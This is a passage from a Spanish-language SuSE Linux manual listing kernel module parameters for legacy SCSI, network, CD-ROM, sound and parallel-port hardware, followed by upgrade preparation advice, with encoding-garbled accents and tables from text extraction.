tierra:/ # modprobe ne io=0x300 irq=10
No se debe agregar ning·n espacio por delante o por detrßs del `=' cuando se
estßn indicando parßmetros. Ademßs, los valores hexadecimales deben llevar
siempre por delante un `0x'.
_______________________________________________________________________________________________________________________||
|||||||| íEn caso de indicar varios parßmetros para un solo driver, estos deben ||| |
|||||||| || |
|||||||| estar separados con espacios! Se trata de una diferencia fundamental en || |
|||||||| comparaci≤n al traspaso de parßmetros en el prompt de LILO , ya que en || |
|||||||| || |
|||||||| Θste no debe aparecer ning·n espacio entre los parßmetros de un driver. || |
||||||||_______________________________________________________________________________________________________________||_
Los parßmetros que se indican a continuaci≤n, se pueden pasar al fichero
/etc/modules.conf. En Θste es posible indicar para cada m≤dulo una se-
rie de parßmetros que se colocan en lφneas individuales. Una lφnea de tales
caracterφsticas es la siguiente:
options <nombre_m≤dulo> <parm1>=<valor1> ...
donde:
_____________________________________________________________________________________________________
||||||||__variable____________valores_/|significado___________________________|_______________________
|||||||| <nombre_m≤dulo> Nombre del m≤|dulo sin extensi≤n .o |
|||||||| <parm1> Parßmetro 1 | |
||||||||__<valor1>____________Valor,_asigna|do_al_parßmetro_1____________|___________________________
La entrada para la tarjeta NE2000 del ejemplo de arriba serφa entonces:
options ne io=0x300 irq=10
A partir de aquφ se apuntan los parßmetros mßs importantes para la mayorφa
de los m≤dulos.
Controladoras SCSI y el SCSI-subsistema
o Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor
Nombre del m≤dulo: aha152x.o
*
* 373
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
______________________________________________________________________________________________
|__variable____________|____valores_/_significado_____________________________________|________
| <io> | <addr> |
| <irq> | <irq> |
| <id> | SCSI-ID de controladora; por defecto 7 |
| <rec> | <reconnect> ; 0 , 1 |
| <par> | parity; 0 , 1 |
| <sync> | modo de operaci≤n sincr≤nico; 0 , 1 |
| <delay> | retardo del bus; por defecto 100 |
|__<translat>_____________|_Transformaci≤n_de_geometrφa_de_disco;_0_,_1___|___________________
Igual al prompt de LILO :
Ejemplo: modprobe aha152x aha152x=0x340,10,7,1,1,0,100,0
Para una segunda controladora:
Ejemplo: modprobe aha152x aha152x1=0x140,12,7,1,1,0,100,0
o Future Domain TMC-16x0-hostadaptor
Nombre del m≤dulo: fdomain.o
Esta controladora funciona tambiΘn con la controladora SCSI Adaptec
2920 .
fdomain=<addr>,<irq>[,<id>]
____________________________________________________
|__variable____|____valores_/_significado__|_________
| <addr> |<addr> |
| <irq> |<irq> |
|__<id>____________|<id>___________________________|_
Como en el prompt de LILO :
Ejemplo: modprobe fdomain fdomain=0x140,11,7
o NCR 5380 bzw. NCR 53C400 SCSI-Hostadaptorfamily
Nombre del m≤dulo: g_NCR5380.o
___________________________________________________________________
|__parßmetros_____|_______valores_______________________________|___
| ncr_addr |<addr> |
| ncr_irq |<irq> ; apapar con 255 |
| ncr_dma |<dma> |
| ncr_5380 |1 para el tipo NCR5380 |
|__ncr_53c400____________|1__para_el_tipo_NCR53C400__|_____________
Para la controladora NCR5380:
Ejemplo: modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350
ncr_5380=1
Para la controladora NCR53C400 con interrupciones apagadas:
Ejemplo: modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000
ncr_53c400=1
Este driver funciona tambiΘn con la controladora Trantor T130B que tiene
amplia difusi≤n.
374
__________________________________________________________________________________________________14.3.__Los_parßmetros_____*
*______________________
Tarjetas de red
o 3Com 3c501 / 3c503 / 3c505 / 3c507 tarjetas de red
Nombre del m≤dulo: 3c501.o,3c503.o,3c505.o,3c507.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe 3c505 io=0x300 irq=10
o 3Com 3c509 / 3c579 tarjetas de red
Nombre del m≤dulo: 3c509.o
__________________________________________________________
||__parßmetros__|_____valores_______________________|______
|| irq <|irq> |
||__xcvr______________0|:_interno;_1_:_externo__|_________
Ejemplo: modprobe 3c509 irq=10 xcvr=0
o 3Com 3c515 tarjeta de red
Nombre del m≤dulo: 3c515.o
Ejemplo: modprobe 3c515
o 3Com 3c59x / 3c90x tarjetas de red (''Vortex''/''Boomerang'')
Nombre del m≤dulo: 3c59x.o
En el caso de las computadoras Compaq (PCI) se pueden probar los sigu-
ientes parßmetros:
__________________________________________________
||__parßmetros_____________|_____valores_____|_____
|| compaq_ioaddr |<addr> |
|| compaq_irq |<irq> |
||__compaq_prod_id_______________|<id>__________|_
Ejemplo: modprobe 3c59x compaq_irq=10
o Allied Telesis AT1700 tarjeta de red
Nombre del m≤dulo: at1700.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe at1700 io=0x300 irq=10
o Cabletron E21xx tarjeta de red
Nombre del m≤dulo: e2100.o
*
* 375
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
_________________________________________________________
|__parßmetros__|_______valores_______________________|____
| io |<addr> |
| irq |<irq> |
| mem |<addr> |
|__xcvr_______________|0_:_interno;_1_:_externo__|_______
Ejemplo: modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0
o Digital DE425 / 434 / 435 / 450 / 500 tarjetas de red
Nombre del m≤dulo: de4x5.o
io=0x<bus><id-dispositivo>
_________________________________________________________________________________
|__parßmetros_____________|_______valores_____________________________________|___
| bus | N·mero del bus PCI, normal 0 |
|__id-dispositivo_______________|_N·mero_del_dispositivo_PCI______|______________
Estos datos se muestran durante el arranque cuando la PCI-BIOS es ''rel-
ativamente nueva''. En Linux se pueden ver con:
tierra: # cat /proc/pci
Ejemplo: modprobe de4x5 io=0x007
o Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS tarjetas de
red
Nombre del m≤dulo: depca.o
___________________________________________________________________
|__parßmetros_________|_______valores___________________________|___
| io | <addr> |
| irq | <irq> |
| mem | <mem> |
| adaptor_name | <Nombre> z.B. DEPCA , |
| | de100 , de101 , |
| | de200 , de201 , |
| | de202 , de210 , |
|___________________________|_de422________________________________|
Ejemplo: modprobe depca io=0x300 irq=10
o EtherWORKS 3 (DE203, DE204, DE205) tarjetas de red
Nombre del m≤dulo: ewrk3.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Ejemplo: modprobe ewrk3 io=0x300 irq=10
376
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
o Intel EtherExpress 16 tarjeta de red
Nombre del m≤dulo: eexpress.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe eexpress io=0x300 irq=10
o Intel EtherExpressPro tarjeta de red
Nombre del m≤dulo: eepro.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
||__mem_______________<|addr>________|__
Ejemplo: modprobe eepro io=0x300 irq=10 mem=0xd000
o Intel EtherExpressPro 100 tarjeta de red
Nombre del m≤dulo: eepro100.o
La tarjeta Intel EtherExpressPro incorpora los chips i82557/i82558 .
________________________________________________________________________
||__parßmetros__|_____valores______________________________________|_____
|| options <|Modo d·plex y> |
|| <|Bus-transceptor> |
|| 1|6 Operaci≤n en d·plex |
|| 3|2 Solo operaci≤n en 100 MBit |
||____________________6|4__Solo_operaci≤n_en_10_MBit____|_______________
Ejemplo: modprobe eepro100 options=48
Con este ejemplo se establece operaci≤n d·plex y operaci≤n en 100 Mbit
al mismo tiempo (48 = 32 + 16).
o Fujitsu FMV-181/182/183/184 tarjetas de red
Nombre del m≤dulo: fmv18x.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe fmv18x io=0x300 irq=10
o HP PCLAN+ (27247B and 27252A) tarjeta de red
Nombre del m≤dulo: hp-plus.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe hp-plus io=0x300 irq=10
*
* 377
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o HP PCLAN (27245 / 27xxx)
Nombre del m≤dulo: hp.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Ejemplo: modprobe hp io=0x300 irq=10
o HP 10/100 VG-AnyLAN (ISA, EISA, PCI) tarjetas de red
Nombre del m≤dulo: hp100.o
__________________________________________
|__parßmetros_____|_______valores_____|____
|__hp100_port____________|<addr>_________|_
Ejemplo: modprobe hp100 hp100_port=0x300
o ICL EtherTeam 16i / 32 tarjeta de red
Nombre del m≤dulo: eth16i.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Ejemplo: modprobe eth16i io=0x300 irq=10
o Novell NE2000 / NE1000 tarjetas de red
Nombre del m≤dulo: ne.o
______________________________________________________________________________
|__parßmetros__|_______valores_____________________________________________|___
| io |<addr> |
| irq |<irq> |
|__bad________________|bad___,_solo_si_la_tarjeta_no_se_reconoce__|___________
Ejemplo: modprobe ne io=0x300 irq=10
o NI6510 (AM7990 ''lance'' Chip) tarjeta de red
Nombre del m≤dulo: ni65.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
| irq |<irq> |
|__dma________________|<dma>__________|_
Ejemplo: modprobe ni65 io=0x300 irq=10
o SMC Ultra tarjeta de red
Nombre del m≤dulo: smc-ultra.o
378
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe smc-ultra io=0x300 irq=10
o SMC 9194 tarjeta de red
Nombre del m≤dulo: smc9194.o
___________________________________________
||__parßmetros__|_____valores_________|_____
|| io <|addr> |
|| irq <|irq> |
||__if_port___________<|medium>__________|_
_________________________________________________________
||__variable________|__valores_/_significado__|___________
|| <medium> 0| auto |
|| 1| TP |
||_____________________2|_AUI,_10base2_________|_________
Ejemplo: modprobe smc9194 io=0x300 irq=10 if_port=2
o Western Digital WD80x3 tarjeta de red
Nombre del m≤dulo: wd.o
_____________________________________________
||__parßmetros__|_____valores___________|_____
|| io <|addr> |
|| irq <|irq> |
|| mem <|mem> |
||__mem_end___________<|mem_end>___________|_
Ejemplo: modprobe wd io=0x300 irq=10
o IBM Tropic chipset Token Ring tarjeta de red
Nombre del m≤dulo: ibmtr.o
__________________________________________________
||__parßmetros___|_____valores_______________|_____
|| io <|addr> |
|| irq <|irq> |
||__mem_start__________<|mem_start>_____________|_
Ejemplo: modprobe ibmtr io=0x300
o D-Link DE620 Pocket-Adaptor tarjeta de red
Nombre del m≤dulo: de620.o
_____________________________________________________________
||__parßmetros__|_____valores___________________________|_____
|| io <|addr> |
|| irq <|irq> |
|| bnc 1| usando conector BNC |
|| utp 1| usando conector UTP |
||__clone_____________1|_para_tarjeta_cl≤nica_______|________
*
* 379
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
Ejemplo: modprobe de620 io=0x300 irq=10 bnc=1 utp=0
Lectores CD-ROM propietarios
CD-ROM Los siguientes parßmetros son para activar lectores CD-ROM propietarios
propietario que estßn conectados a una controladora especial. Los due±os de una de estas
''antiguas joyas'' probablemente ya lo saben. . .
o Aztech CDA268-01 CD-ROM
Nombre del m≤dulo: aztcd.o
_______________________________________
|__parßmetros__|_______valores_____|____
|__aztcd______________|<addr>_________|_
Ejemplo: modprobe aztcd aztcd=0x300
o Goldstar R420-CD-ROM
Nombre del m≤dulo: gscd.o
_______________________________________
|__parßmetros__|_______valores_____|____
|__gscd_______________|<addr>_________|_
Ejemplo: modprobe gscd gscd=0x300
o Mitsumi CD-ROM
Nombre del m≤dulo: mcd.o
mcd=<addr>,<irq>[,<wait>]
__________________________________________________________________________________________
|__variable____|____valores_/_significado________________________________________|_________
|__<wait>__________|Valor_para_el_tiempo_de_espera_de_la_arrancada__|_____________________
Se puede variar el parßmetro <wait> entre 0 y 10 , si el CD-ROM no
reacciona suficientemente rßpido a las peticiones del sistema ("time-
out"), por lo cual es posible que no se encuentre el Rootimage durante la
instalaci≤n.
Ejemplo: modprobe mcd mcd=0x300,10,5
o Mitsumi-CD-ROM (Multisession)
Nombre del m≤dulo: mcdx.o
mcdx=<addr>,<irq>[,<addr>,<irq>]
En el caso de varios drivers se pueden repetir los comandos <addr> y
<irq> hasta cuatro veces.
o Tarjeta de sonido ''Mozart'' con interfaz de CD-ROM
Nombre del m≤dulo: isp16.o
isp16_cdrom_base=<addr>
isp16_cdrom_irq=<irq> isp16_cdrom_dma=<dma>
isp16_cdrom_type=<tipo>
380
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
_____________________________________________________________________________
||__variable____|__valores_/_significado__________________________|___________
||__<tipo>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
Este no es realmente un driver para CD-ROM, sino que configura la inter-
faz de los lectores CD-ROM conectados a una tarjeta de sonido de ISP16 ,
MAD16 o Mozart . DespuΘs de cargar este driver solamente se configura
la interfaz y el driver del CD-ROM se carga posteriormente. El valor de
la variable <tipo> resulta del conector en la tarjeta de sonido a la que
esta conectado el lector CD-ROM.
Ejemplo: modprobe isp16 isp16_cdrom_base=0x300
isp16_cdrom_irq=10 isp16_cdrom_dma=1
isp16_cdrom_type=sony
o Optics Storage 8000 AT CD-ROM
Nombre del m≤dulo: optcd.o
________________________________________
||__parßmetros__|_____valores_____|______
||__optcd_____________<|addr>________|__
Ejemplo: modprobe optcd optcd=0x300
o Philips CM206 CD-ROM
Nombre del m≤dulo: cm206.o
cm206=<addr>,<irq>
Ejemplo: modprobe cm206 cm206=0x300,10
o Sanyo CD-ROM
Nombre del m≤dulo: sjcd.o
________________________________________
||__parßmetros__|_____valores_____|______
||__sjcd______________<|addr>________|__
Ejemplo: modprobe sjcd sjcd=0x300
o Sony CDU 31/33 A
Nombre del m≤dulo: cdu31a.o
_____________________________________________
||__parßmetros_______|_____valores_____|______
|| cdu31a_port |<addr> |
||__cdu31a_irq_____________|<irq>_________|__
Ejemplo: modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10
o Sony CDU 535
Nombre del m≤dulo: sonycd535.o
_________________________________________
||__parßmetros___|_____valores_____|______
||__sonycd535__________<|addr>________|__
Ejemplo: modprobe sonycd535 sonycd535=0x300
*
* 381
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o Soundblaster Pro 16 MultiCD
Nombre del m≤dulo: sbpcd.o
sbpcd=<addr>,<tipo>
donde <tipo> puede tener los siguientes valores:
__________________________________________________
|__variable__|____valores_/_significado__|_________
| 0 | LaserMate |
| 1 | SoundBlaster |
| 2 | SoundScape |
|__3____________|_Teac16bit_______________________|
Ejemplo: modprobe sbpcd sbpcd=0x300,0
Tarjetas de sonidos y sus chipsets
Sonido Desde la versi≤n 2.2.xx del kernel, el soporte de tarjetas de sonido se realiza
por m≤dulos y se controla mediante varios parßmetros.
o AD1816 Chip
Nombre del m≤dulo: ad1816.o
Entre otras se soporta: TerraTec Base 1, TerraTec Base 64, HP Kayak,
Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D
_______________________________________________________________
|__parßmetros_________________|______valores_______________|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma2 |<dma2> |
|__ad1816_clockfreq_________________|<clockfreq>______________|_
Ejemplo: modprobe ad1816 io=0x530 irq=5 dma=1
dma2=3 ad1816_clockfreq=33000
o AD1848/CS4248 Chip (MSS)
Nombre del m≤dulo: ad1848.o
_________________________________________________
|__parßmetros_____|_______valores_____________|___
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma2 |<dma2> |
| type |<cardtype> |
|__deskpro_xl____________|<magic>________________|
o Driver genΘrico OPLx
Nombre del m≤dulo: adlib_card.o
_______________________________________
|__parßmetros__|_______valores_____|____
|__io_________________|<addr>_________|_
Ejemplo: modprobe adlib_card io=0x330
382
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
o Crystal 423x chipsets
Nombre del m≤dulo: cs4232.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
||__dma2______________<|dma2>________|__
Ejemplo: modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3
o Ensoniq 1370 chipset
Nombre del m≤dulo: es1370.o
Ver tambiΘn PCI64/128.
________________________________________________________________________
||__parßmetros__|_____valores_____________________________________|______
|| joystick 1|: activar Joystick |
|| lineout 1|: cambiar Line-in en Line-out |
||__micz______________i|mpedancia_del_micr≤fono_________|_______________
Ejemplo: modprobe es1370 joystick=1 lineout=1
o Creative Ensoniq 1371 chipset
Nombre del m≤dulo: es1371.o
Ver tambiΘn PCI64/128.
________________________________________
||__parßmetros__|_____valores_____|______
||__joystick__________<|addr>________|__
Los valores vßlidos para <addr> son 0x200 , 0x208 , 0x210 y 0x218 .
Ejemplo: modprobe es1371 joystick=0x200
o Gravis Ultrasound
Nombre del m≤dulo: gus.o
______________________________________________
||__parßmetros_______|_____valores_______|_____
|| io |<addr> |
|| irq |<irq> |
|| dma |<dma> |
|| dma16 |<dma16> |
|| type | |
|| gus16 | |
|| no_wave_dma | |
||__db16___________________|________________|_
o MAD16
Nombre del m≤dulo: mad16.o
*
* 383
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
Soporta OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 y
OPTi 82C924.
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
|__dma16______________|<dma2>_________|_
Ejemplo: modprobe mad16 io=0x530 irq=7 dma=0 dma16=1
o Turtle Beach Maui y Tropez
Nombre del m≤dulo: maui.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Ejemplo: modprobe maui io=0x530 irq=5
o MPU401
Nombre del m≤dulo: mpu401.o
_______________________________________
|__parßmetros__|_______valores_____|____
|__io_________________|<addr>_________|_
Ejemplo: modprobe mpu401 io=0x330
o Turtle Beach MultiSound
Nombre del m≤dulo: msnd.o
Ejemplo: modprobe msnd
o Turtle Beach Classic/Monterey/Tahiti
Nombre del m≤dulo: msnd_classic.o
_____________________________________________________
|__parßmetros_________________|______valores_____|____
| io |<addr> |
| irq |<irq> |
| mem | |
| write_ndelay | |
| major | |
| fifosize | |
|__calibrate_signal_________________|________________|
Ejemplo: modprobe msnd_classic io=0x290 irq=7 mem=0xd0000
o Turtle Beach Pinnacle/Fiji
Nombre del m≤dulo: msnd_pinnacle.o
384
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
Esta tarjeta trabaja con los siguientes parßmetros, adicionales a los de
Turtle Beach Classic/Monterey/Tahiti (apartado 14.3.4 en la pßgina ante-
rior):
__________________________________________
||__parßmetros_______|_____valores__|______
|| digital | |
|| cfg | |
|| reset | |
|| mpu_io | |
|| mpu_irq | |
|| ide_io0 | |
|| ide_io1 | |
|| ide_irq | |
||__joystick_io____________|___________|__
Ejemplo: modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5
mem=0xd0000
o OPL3
Nombre del m≤dulo: opl3.o
________________________________________
||__parßmetros__|_____valores_____|______
||__io________________<|addr>________|__
Ejemplo: modprobe opl3 io=0x388
o OPL3-SA1
Nombre del m≤dulo: opl3sa.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| mpu_io <|addr> |
||__mpu_irq___________<|irq>_________|__
Ejemplo: modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1
mpu_io=0x330 mpu_irq=5
o YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx
Nombre del m≤dulo: opl3sa2.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| mss_io <|addr> |
||__mpu_io____________<|addr>________|__
*
* 385
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
Ejemplo: modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3
mss_io=0x530 mpu_io=0x330
o Pro Audio Spectrum
Nombre del m≤dulo: pas2.o
_______________________________________________________
|__parßmetros_________________|______valores_______|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma16 |<dma16> |
| sb_io |<addr> |
| sb_irq |<irq> |
| sb_dma |<dma> |
| sb_dma16 |<dma16> |
| joystick | |
| symphony | |
| broken_bus_clock | |
|___________________________________|__________________|
o Personal Sound System (ECHO ESC614)
Nombre del m≤dulo: pss.o
_______________________________________________
|__parßmetros___|_______valores____________|____
| pss_io |<addr> |
| mss_io |<addr> |
| mss_irq |<irq> |
| mss_dma |<dma> |
| mpu_io |<addr> |
| mpu_irq |<irq> |
|__pss_mixer___________|1__(activar)_o_0___|___
o Sound Blaster y cl≤nicos
Nombre del m≤dulo: sb.o
__________________________________________________________________________
|__parßmetros___|_______valores________________________________________|___
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma16 |<dma16> |
| mpu_io |<addr> |
| mad16 |1 (activar) |
| trix |1 (activar) |
| pas2 |1 (activar) |
| sm_games |1 (activar) |
| acer |1 (activar), para Acer Notebooks |
|__mwave_bug___________|1__(activar)___________________________________|__
Ejemplo: modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330
386
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
o Aztech Sound Galaxy
Nombre del m≤dulo: sgalaxy.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
||__sgbase_____________|_____________|__
o S3 Sonic Vibes
Nombre del m≤dulo: sonicvibes.o
Sin parßmetros.
o Ensoniq SoundScape
Nombre del m≤dulo: sscape.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| mss | |
|| mpu_io <|addr> |
|| mpu_irq <|irq> |
||__spea______________1|_____________|__
o MediaTrix AudioTrix Pro
Nombre del m≤dulo: trix.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| sb_io <|addr> |
|| sb_irq <|irq> |
|| sb_dma <|dma> |
|| mpu_io <|addr> |
||__mpu_irq___________<|irq>_________|__
o UART401
Nombre del m≤dulo: uart401.o
________________________________________
||__parßmetros__|_____valores_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Ejemplo: modprobe io=0x330 irq=9
*
* 387
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o UART6850
Nombre del m≤dulo: uart6850.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
o Sound Blaster DSP chipsets
Nombre del m≤dulo: v_midi.o
Sin parßmetros.
o Turtle Beach Maui, Tropez, Tropez Plus
Nombre del m≤dulo: wavefront.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Ejemplo: modprobe wavefront io=0x200 irq=9
El puerto paralelo
Puerto La utilizaci≤n del puerto paralelo es compleja. DespuΘs de su configuraci≤n
paralelo hay un sub-sistema propio a disposici≤n.
o Puerto paralelo
Nombre del m≤dulo: parport.o
Ejemplo: modprobe parport
o Puerto paralelo ~ especφfico
Nombre del m≤dulo: parport_pc.o
_______________________________________
|__parßmetros__|_______valores_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Para tener p. ej. 3 puertos al estilo PC con uno en la direcci≤n 0x3bc sin
IRQ, otro en la direcci≤n 0x378 con IRQ 7 y el tercero en la direcci≤n
0x278 con el IRQ detectado automßticamente, se debe indicar (íen una
lφnea!):
Ejemplo: modprobe parport_pc io=0x3bc,0x378,0x278
irq=none,7,auto
o Driver de impresora
Nombre del m≤dulo: lp.o
_______________________________________
|__parßmetros__|_______valores_____|____
|__parport____________|<port>_________|_
Ejemplo: modprobe lp parport=0,2
388
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
o Dispositivos IDE en el puerto paralelo
Nombre del m≤dulo: paride.o
íAl usar una cadena de dispositivos ''Paride'' en un puerto paralelo, es
preciso cargar primero parport.o (ver apartado 14.3.4 en la pßgina an-
terior)!
Ejemplo: modprobe paride
Si es posible, utilice el puerto paralelo en ''modo EPP'' ; para asegurarse,
entre a la + BIOS de la computadora y aj·stelo.
o Driver de protocolo IDE de bajo nivel para el puerto paralelo
Nombre del m≤dulo: <xxxx>.o
______________________________________________________________________________________________
|__Protocolo__|______Dispositivo______________________________________________________________|_
|__aten_____________|ATEN_EH-100____________________________________________________(HK)___|__
|__bpck_____________|Microsolutions_backpack________________________________________(US)___|__
|__comm_____________|DataStor_(old-type)_÷c_mmuterΣ__dapter_________________________(TW)__|___
|__dstr_____________|DataStor_EP-2000_______________________________________________(TW)__|___
|__epat_____________|Shuttle_EPAT___________________________________________________(UK)___|__
|__epia_____________|Shuttle_EPIA___________________________________________________(UK)___|__
|__fit2_____________|FIT_TD-2000____________________________________________________(US)___|__
|__fit3_____________|FIT_TD-3000____________________________________________________(US)___|__
|__friq_____________|Freecom_IQ_cable_______________________________________________(DE)___|__
|__frpw_____________|Freecom_Power__________________________________________________(DE)___|__
|__kbic_____________|KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___
|__ktti_____________|KT_Technology_PHd_adapter______________________________________(SG)___|__
|__on20_____________|OnSpec_90c20___________________________________________________(US)___|__
|__on26_____________|OnSpec_90c26___________________________________________________(US)___|__
Ejemplo: modprobe epat
o Disco duro IDE en puerto paralelo
Nombre del m≤dulo: pd.o
__________________________________________
||__parßmetros__|_____valores_______|______
||__verbose___________<|valor>_________|__
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4).
Ejemplo: modprobe pd verbose=1
o ATAPI CD-ROM en puerto paralelo
Nombre del m≤dulo: pcd.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4).
Ejemplo: modprobe pcd
o Disquetera ATAPI en puerto paralelo
Nombre del m≤dulo: pf.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4).
Ejemplo: modprobe pf
*
* 389
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o Streamer ATAPI en puerto paralelo
Nombre del m≤dulo: pt.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4 en
la pßgina anterior).
Ejemplo: modprobe pt
o Dispositivo ATAPI genΘrico en puerto paralelo
Nombre del m≤dulo: pg.o
Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4 en
la pßgina anterior).
Ejemplo: modprobe pg
390
Parte VII
SuSE Linux: Actualizaci≤n y
particularidades
*
* 391
Capφtulo 15
Actualizaci≤n del sistema ~ Gesti≤n
de paquetes
15.1 Actualizaci≤n de SuSE Linux
SuSE Linux ofrece la posibilidad de actualizar un sistema existente sin
necesidad de instalar todo desde cero. Hay que distinguir entre la actual-
izaci≤n de algunos paquetes y la del sistema completo.
Es un fen≤meno conocido, el hecho de que el software ''crezca'' de versi≤n en
versi≤n, por lo que se recomienda averiguar de cußnto espacio se dispone en
las particiones, usando df , antes de la actualizaci≤n. Si se tiene la impresi≤n
de estar un poco ''justo'' con el espacio, se recomienda tambiΘn hacer un
respaldo de los datos y modificar las particiones (aumentar su tama±o). Es
difφcil determinar la cantidad de espacio necesario ya que este depende en
gran medida de las particiones actuales, del software elegido y desde cußl
versi≤n se va a realizar la actualizaci≤n.
_______________________________________________________________________________________________________________________
|||||||| Para obtener informaci≤n sobre cambios o suplementos posteriores a la ||| |
|||||||| || |
|||||||| impresi≤n de este libro, se puede consultar el fichero README o bajo || |
|||||||| DOS/Windows el fichero README.DOS ~ ambos se encuentran en el CD. || |
||||||||_______________________________________________________________________________________________________________||_
15.1.1 Preparativos
Antes de realizar cualquier actualizaci≤n se deben copiar los ficheros de con-
figuraci≤n a un medio independiente (cinta, disquetes, unidad-ZIP, etc.); so-
bre todo se trata de los ficheros contenidos en /etc pero tambiΘn se debe
tener en cuenta el directorio /var/lib donde estßn los ficheros de configu-
raci≤n de los ''News'' o de xdm . Ademßs se deben respaldar los datos actuales
de los usuarios en /home; son los directorios HOME.
Antes de comenzar con la actualizaci≤n se debe anotar el nombre de la parti-
ci≤n raφz que se obtiene con el comando:
tierra: # df /
En este caso /dev/sda3 es la partici≤n raφz que se debe anotar (ver la salida
en pantalla 15.1.1 en la pßgina siguiente), ya que es Θsta la que estß montada
bajo /.
*
* 393
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Filesystem 1024-blocks Used Available Capacity Mounted on *
* |
|| /dev/sda3 4167999 3253471 698856 82% / *
* ||
| /dev/sda1 7496 1311 5785 18% /boot *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 15.1.1: Resumen de particiones con df
________________________________________________________________________________________________________*
*________||
| Antes de actualizar PostgreSQL (paquete postgres), se deben volcar (in- *
* ||||
| *
* |||
| gl. dump) todos los bancos de datos al disco; ver pßgina del manual de *
* |||
| pg_dump (man pg_dump ). Evidentemente esto solo es necesario si se ha *
* |||
| *
* |||
| usado PostgreSQL antes de la actualizaci≤n. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Ahora hace falta decidir entre una actualizaci≤n en modo texto con YaST
